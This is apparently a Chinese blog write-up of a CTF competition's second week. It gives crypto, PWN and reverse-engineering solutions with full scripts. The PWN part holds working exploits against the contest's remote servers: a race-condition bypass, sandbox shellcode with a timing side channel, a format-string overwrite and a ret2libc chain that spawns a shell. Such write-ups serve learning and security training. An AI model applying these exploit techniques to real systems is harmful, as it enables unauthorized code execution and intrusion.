当前位置: 首页 > article >正文

[山河2024] week2

官方WP出得很快。对照官的写下私的。大概出入不大,毕竟第2周。后边的才难。

Crypto

E&R

RSA因子分解题,把q的2进制反转后与p异或。关于异或的题很多,这个还真是头一回见,不过爆破方法还是一样的。

r_q = int(bin(q)[2:][::-1] , 2)
leak = p ^^ r_q

爆破都比较简单分三步,

1是个递归,由于给的是异或所以每种情况两个值。

2是剪枝,爆破没有剪枝就不可能完成,毕竟有几百步。这里由于p和q是反的,所以要把q的尾部转成p的尾部(乘逆)然后判断全1是否不足N全0是否超N,过滤掉不接入正确值的分枝。

3是个cooper,也可以不用直接递归到底,不过一般差几百就可以直接出结果了。

def pq_xor(tp,tq,idx):
    global ok,cnt 
    if ok:
        return 

    #通过tq的尾部得到tp的尾部
    mod =2^idx 
    p = int(tp,2)
    ql = int(tq[::-1],2)%mod
    pl = N*inverse_mod(ql,mod)%mod
    p += pl
    #通过p的尾部得到q的头部
    qh = (pl^^leak)%mod
    print(hex(qh),hex(pl), hex(mod),hex(pl^^leak))
    q = int((bin(qh)[2:].zfill(256))[::-1],2)+ql
    mid = int('1'*(256-2*idx) + '0'*idx,2)
    print(hex(mid))
    print(hex(p))
    print(hex(q))
    #过滤掉越界的部分
    if p*q>N:
        print('>')
        return False 
    elif (p+mid)*(q+mid)<N:
        print('<')
        return False    
    
    if idx>=80:
        cnt += 1
        try:
            PR.<x> = PolynomialRing(Zmod(N))
            f = int(tp,2) + x*mod + pl 
            print('Try', len(hex(p)))
            rr = f.monic().small_roots(X=2^(256-2*idx), beta=0.4)
            if rr != []:
                print(rr)
                print(tp)
                p = int(f(rr[0]))
                print('p = ',p)
                ok = True
                return
        except:
            pass
        return
    
    print('idx',idx)
    if leak&(1<<(255-idx))==0:
        pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)
        pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)
    else:
        pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)
        pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)
    return

leak = 5599968251197363876087002284371721787318931284225671549507477934076746561842
N = 7120275986401660066259983193598830554385933355254283093021239164350142898387660104515624591378875067038235085428170557400012848874756868985306042421950909

ok = False
cnt = 0
tp = tq = '1'+'0'*255
pq_xor(tp,tq, 1)

p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
d = invert(e,p-1)

m2 = pow(c,d,p)
#3939513057628514533900105670644286436358199
long_to_bytes(int(m2))
b'-908f-7c002c687387'

后半部分是个椭圆出线P=e*G,其中曲线参数都给了n是上边这个n,m是G的x值,显然不是求私钥的题,是已知P求基点,乘e的E.order()的逆即可。

p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
E = EllipticCurve(Zmod(p),[114514,1919810])
e_ = inverse_mod(e,E.order())
G = e_ * E(P)
long_to_bytes(int(G.xy()[0]))

padding

RSA在CTF里是个永恒的主题。这里flag有点长,然后加了padding,但是padding已经给了,所以未知部分并不太长,符合coopersmith的条件。

e = 0x3
pad = b'a_easy_problem'
c = pow(bytes_to_long(flag + pad),e,n)

所以直接cooper求解即可

n = 121610581737140600160984832143780045854376696605462678058314779684541675438360954665201512582717184846898732519886408218195115222060925767845182101140985619311569961917165751064108952508715526280654203536289957423921564359664115494280822305174952928768288903200070997282969262755970515223933920417266433278789
c = 56315992669696576544280004341339659214473025294542882124309146208269511334821601242728246283362133643638287054408079279238613115250993778355793431158445018157767456378641306161910716971442727571150196541091591821568737809034772939233013836870367817187622454372405657328507359960344342975570184378962591190001

t = b'SHCTF{'+b'\x00'*32+b'}a_easy_problem'
t = bytes_to_long(t)
P.<x> = PolynomialRing(Zmod(n))
f =  (t+x*256^15)^3 - c
res = f.monic().small_roots(X=2^(8*32), beta=1, epsilon=0.05)
long_to_bytes(int(f(res[0])))

worde很大

已知e和dp分解n, dp = d mod (p-1) ,由于p-1是phi的因子,所以这里随便拿个数大概率g^t%n-1就是p 这里用d,dp效果都一样。

from gmpy2 import gcd
import random 

def e_dn(e_d,n):
    k=e_d-1
    while True:
        g= random.randint(2,n-1)
        t=k
        while True:
            if t%2!=0:
                break
            t=t//2
            x=pow(g,t,n)
            if x > 1 and gcd(x-1, n) > 1:
                p=gcd(x-1,n)
                q=n//p
                return p,q

#这里的dp也能用
p,q=e_dn(e*dp,n)
m = pow(c,dp,p)
long_to_bytes(m)
#b'SHCTF{WoRD_E_y0u_Dlan_d4_0oG0C0}'

魔鬼的步伐

这里的漏洞在于p是由一堆小因子相乘后加1得到,也就是p-1光滑。

def get_Prime(bits):
    while True:
        n = 2
        while n.bit_length() < bits:
            n *= choice(primes)
        if isPrime(n + 1):
            return n + 1
#p+1光滑
import gmpy2
N = n
a = 2
k = 2
while True:
    a = pow(a, k, N)
    res = gmpy2.gcd(a-1, N)
    if res != 1 and res != N:
        q = N // res
        print("k=",k)
        print("p=",res)
        print("q=",q)
        break
    n += 1

ezECC

椭圆曲线的一些运算

m = next_prime(bytes_to_long(flag))
p = getPrime(512)
a,b = getPrime(128),getPrime(128)
E = EllipticCurve(Zmod(p),[a,b])
k = getPrime(256)
A1 = E.random_point()
A2 = A1*k
M = E.lift_x(m)
C = M+A2

行是求参,根据方程y^2=x^3+ax+b mod p ,已知2个点A1,C带入即可。

#y^2 = x^3 +a*x +b
#求参数
a = (A1[0]^3-C[0]^3 -A1[1]^2+C[1]^2)*inverse_mod(-A1[0]+C[0],p)%p
b = (-A1[0]^3 -a*A1[0] + A1[1]^2)%p

 然后是个减法,由于A1和k已知所以A2也算是已知直接乘,而椭圆曲线的减法可以直接减。

另外这里的x是next_prime(flag)所以有点小误差。

ec = E(C)
ea1 = E(A1)
ea2 = ea1*k
M = ec - ea2

PWN

easy_competition

关于资源共享的问题,输入会被存在共享内存里,检查后2秒才会执行,这样起两个进程,一个写个可以检查通过的值,然后第2个再写入超常的值,第1个进程会执行修改过的值(脏数据)从而绕过检查。

from pwn import *
context(arch='amd64', log_level='debug')

p1 = remote('210.44.150.15', 46333)
p2 = remote('210.44.150.15', 46333)

p1.send(p64(0))
p2.send(p64(0x404120))

p1.interactive()

ez_sandbox

 沙箱题,只开了open+read没有输出就可能通过判断程序是否退出来确认对比值是否正确。官WP里用了:在正确时read,我一般用正确时循环。不过我这个不好,read会阻塞,不占资源而死循环会让CPU冒烟。

而这个题的后台可能因为循环造成的有问题,延时会不断增加,导至一会就会超过判断的阀值。所以还是用官WP里的read比较好。

from pwn import *
import time
context(arch='amd64', log_level='error')

def getv(i,v):
    #p = process('./pwn')
    #gdb.attach(p,"b*0x5555555553e0\nc")
    p = remote('210.44.150.15', 45964)
    code = 'add rax,0x100; push rax;pop r15; add rax,0x100;push rax;pop r14;'+shellcraft.open('flag')+shellcraft.read('rax', 'r15', 0x50)
    code += f"\nmov al, byte ptr[r15+{i}]; mov bl,{v}; loop: cmp al,bl; jz loop; push 62;pop rax; syscall;"  #60 exit,62 kill,231 exit_group
    p.send(asm(code))
    t = time.time()
    try:
        p.recv(timeout=4)
        #p.interactive()
    except:
        pass
    k = time.time()-t
    print(k)
    p.close()
    if k>4.0:
        return True
    else:
        return False

#getv(1, 0x66)
if 0:
    p = remote('210.44.150.15',44281)
    code = 'add rax,0x100; push rax;pop r15;'+shellcraft.open('flag')+'\nloop: cmp al,3; jz loop;mov rax,1;syscall;'
    p.send(asm(code))
    t = time.time()
    try:
        p.recvall(timeout=3)
        p.close()
    except:
        print('xxx')
        p.close()
    print(time.time()-t)
        
#SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}
flag = 'SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}'
for i in range(len(flag), 70):
    for v in b'0123456789abcdef_{}ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-!?&^%$#@!~()+=':
        print(chr(v), end='')
        if getv(i,v):
            flag += chr(v)
            print(flag)
            break

print(flag)

ezorw

 这题出的非常巧妙。main打开flag然后调用vuln,vuln会从标准输入读数据输出,然后关掉flag文件并清指针。

问题就在于清fd这。文件关闭后半不需要清理fd,它只是个编号并不是指针。

所以这题通过溢出重排下调用关系,vuln溢出将返回地址改为调用vuln前,这样执行完后并不重新打开文件而是重入,这时候读第2个payload正常的不用溢出,之后会执行关闭文件操作,由于文件并没有打开fd还是0,所以会关闭标准输入。再次再次执行打开文件时fd会使用0,然后就从0读出flag输出。

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('210.44.150.15', 49888)

p.sendafter(b"Give you a gift\n", b'A'*0x18+b'\xbb')
sleep(0.5)
#close(0) 
p.send(b'A'*0x18+b'\x97')

p.interactive()

json_printf

后边这两个题就没意思了,给了名字显然输入要求用json格式(猜,因为json解析那个函数很难看懂),然后就是一个简单的printf到门匙。

from pwn import *
context(arch='i386', log_level='debug')

p = remote('210.44.150.15', 31325)

p.sendlineafter(b"How to send data?\n", b'{"name":"%999c%10$n  '+p32(0x8052074)+b'","age":18}')

p.interactive()

json_stackoverflow

为作新词强说愁。

from pwn import *
context(arch='i386', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = remote('210.44.150.15',22826)

p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(elf.plt['puts'],0x8049432,elf.got['puts'])+b'","age":18}')
p.recvline()
p.recvline()
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")

p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(libc.sym['system'],0x41414141,next(libc.search(b'/bin/sh\0')))+b'","age":18}')

p.interactive()

REV

下周基本就是难题了,REV就作不了了。

Android?Harmony!

这个作了好几天。先改扩展名zip解两次,出来的.abc文件到网站上在线反编译。出来的代码巨难看。

大致理解成两块,其实是3块,所以一开始没作出来。代码太难看了,估计用编译工具优化后的会好点。

第1块是个迷宫,这个按层遍历就能弄到最优解。他没说是WASD还是0123所以flag不是路径。

msg = open('maze.py').readlines()

maze = [[0]*85 for i in range(85)]

for i in range(85):
    for j in range(85):
        maze[i][j] = msg[i][j]

xx = [[-1,0],[1,0],[0,-1],[0,1]]

way = [['',[1,83]]]
ok = False
while True:
    tway = []
    for k in way:
        for i,x in enumerate(xx):
            fx,fy = k[1][0]+x[0], k[1][1]+x[1]
            if fx==77 and fy==1:
                 print(k[0]+str(i))
                 ok = True
                 break
            if maze[fx][fy] == ' ':
                maze[fx][fy] = 'X'
                tway.append([k[0]+str(i),[fx,fy]])
        if ok:break
    if ok:break
    way = tway.copy()

#112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211  

第2块是一个encode函数解出来的东西很长,能看到除了SHCTF{}和-以外就是16进制字符。只是很难看出来是怎么组合的。

secretKey = "[f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#"

b = bytes([(v-32-1919810)*39%95 + 32 for v in secretKey.encode()])
#b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc

第3块其实是关于组合的fillflag,他按行列在迷宫里找3、4叉路口。然后把字符放上去。

msg = open('maze.py').readlines()

maze = [[0]*85 for i in range(85)]

for i in range(85):
    for j in range(85):
        maze[i][j] = msg[i][j]

way = '112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211'

ss = 'b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc'.ljust(522,' ')

#先将串放到至少3叉路口上 Fillflag,CheckGround
idx = 0
for i in range(1,84):
    for j in range(1,84):
        if maze[i][j] != ' ': continue
        w = 0
        if maze[i-1][j] == ' ': w+=1
        if maze[i+1][j] == ' ': w+=1
        if maze[i][j-1] == ' ': w+=1
        if maze[i][j+1] == ' ': w+=1
        if w>2:
            maze[i][j]=ss[idx]
            idx+=1
        


#沿最短径收集flag字符
xx = [[-1,0],[1,0],[0,-1],[0,1]]
fx,fy = 1,83
flag = ''
for i in range(len(way)):
    if i>=len(ss): break
    if maze[fx][fy] != ' ':
        flag += maze[fx][fy]
    else:
        maze[fx][fy] = '+'
    k = xx[int(way[i])]
    fx += k[0]
    fy += k[1]

print(flag)
#SHCTF{81f6ad65-9da6-41ae-bd61-88dea61332f1}
open('m2.txt','w').write('\n'.join([''.join(maze[i])for i in range(85)]).replace('#','.'))

把字符和迷宫放在一张图上就能看到flag是这个路径上的字符。

Loader

loader把enc文件解密后载入执行,显然手工解密后基本就完成了。

#loaddata对enc解密后导入
v9 = [0xC, 0x42, 9, 3, 0, 0x25, 0xB, 0x15, 4]
data = open('enc','rb').read()
d = []
for i in range(len(data)):
    d.append(((data[i]-v9[(i+2)%9])^v9[i%9])&0xff)

open('mm.dat','wb').write(bytes(d))

后边是个麻烦事,因为这个java的Random不大好模拟,只能用java写小段。

import java.util.Random;

public class HelloWorld {
    public static void main(String []args) {
		String CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
        Random random = new Random(4310);
        StringBuilder sb = new StringBuilder(12);
        for (int i3 = 0; i3 < 12; i3++) {
            sb.append(CHARACTERS.charAt(random.nextInt(CHARACTERS.length())));
        }
        System.out.println(sb.toString());
    }
}
//QdUOJ7V7Xruo
//SHCTF{QdUOJ7V7Xruo}

babytea

from ctypes import *
from pwn import p32

'''
  v0 = *a1;
  v1 = a1[1];
  total = 0x8DDE2E40;
  for ( i = 0; i <= 0x3F; ++i )
  {
    v1 -= (((16 * v0) ^ (v0 >> 5)) + v0) ^ v0 ^ (*(_DWORD *)(4i64 * ((total >> 11) & 3) + key) + total);
    total += 0x61C88747;
    v0 -= (((16 * v1) ^ (v1 >> 5)) + v1) ^ v1 ^ (*(_DWORD *)(4i64 * (total & 3) + key) + total);
  }
  *a1 = v0;
  result = a1 + 1;
  a1[1] = v1;
'''
def decrypt(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x61C88747
    k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
    cnt = 0x40
    total = c_uint32(0x8DDE2E40 + delta * cnt)
    for i in range(cnt):
        v0.value += (((v1.value<<4)^(v1.value>>5))+v1.value) ^ v1.value ^(k[total.value&3] + total.value) 
        total.value -= delta
        v1.value += (((v0.value<<4)^(v0.value>>5))+v0.value) ^ v0.value ^(k[(total.value>>11)&3] + total.value)  

    return p32(v0.value)+p32(v1.value)  

enc = [415425337,-380302974,277491959,25440477,-706848848,-734132416,-198189596,-1769437464,-438862983,1750955407]
key = [1,1,2,3]

flag = b''.join([decrypt(enc[i:i+2],key) for i in range(0,10,2)])
print(flag)
#shctf{962fd-464d-8f4f-f1fd-a6a0c987c569}

cancanneed

AES加密,没有key

在win11的机子上用jadx可以看到 res/raw/xxnd.jpg这张图,实际找不到叫这个名字,从目录里找到两张一样的图。从图上取key来解密。

from base64 import b64decode
from Crypto.Cipher import AES
from hashlib import md5

enc = "7zkErqD/oevxjIIjgJswFk3+vDgw5tvK3Cgr/GIYeZEQ5Gq/6v9LPTiUswKcx5ha"
enc = b64decode(enc)

#/res/raw/xxnd.jpg 到res目录下找到看上去一样的两张图片(相同)
key = open('x4.jpg','rb').read()[2080:2080+16]

aes = AES.new(key,AES.MODE_ECB)
flag = aes.decrypt(enc)
print(flag)
    
#SHCTF{Yu_@re_Very_N8_oF_@nDr01d}

花语

就是花指令专对夫ida的。找到反编译不成功的地方,手工nop掉就OK了,加密很简单

a = [i for i in "!}ggagllllff_fau_hisY_keF{CTSH"]
for j in range(14):
    k = a[29-j]
    a[29-j]=a[j]
    a[j]=k

for i in range(0,29,2):
    k = a[i]
    a[i]=a[i+1]
    a[i+1]=k

''.join(a)
#SHCTF{keY_is_hua_fffllllaggg!}


http://www.kler.cn/news/353665.html

相关文章:

  • 基于机器学习的心脏病风险评估预测系统
  • JavaScript获取array中相同key的平均值
  • 基于SSM电子资源管理系统的设计
  • 《计算机视觉》—— 疲劳检测
  • Android Gralde 新版aar依赖问题解决
  • 滚雪球学Redis[4.2讲]:Redis Sentinel 深度解析:工作原理、配置与高可用架构下的故障转移
  • 如何打开荣耀手机的调试模式?
  • Vue 3 的不同版本总结
  • 自动化运维的研究与应用
  • Latex
  • 高一全栈开发;国产 Arc 浏览器;Tauri 2.0 发布 | 生活周刊 #3
  • python实现录屏功能
  • 甲方安全和乙方安全的区别
  • Git常用指令【精简版】
  • CodeActAgent :Executable Code Actions Elicit Better LLM Agents解读
  • Meta新模型Dualformer:融合快慢思维,推理能力媲美人脑
  • Mamba学习笔记(2)—序列数据处理基础
  • 顺序表删除相关的算法题|删除最小值|删除值为x的值|删除区间内的值|删除重复的元素(C)
  • Vue3 路由基础 02
  • 爬虫案例——网易新闻数据的爬取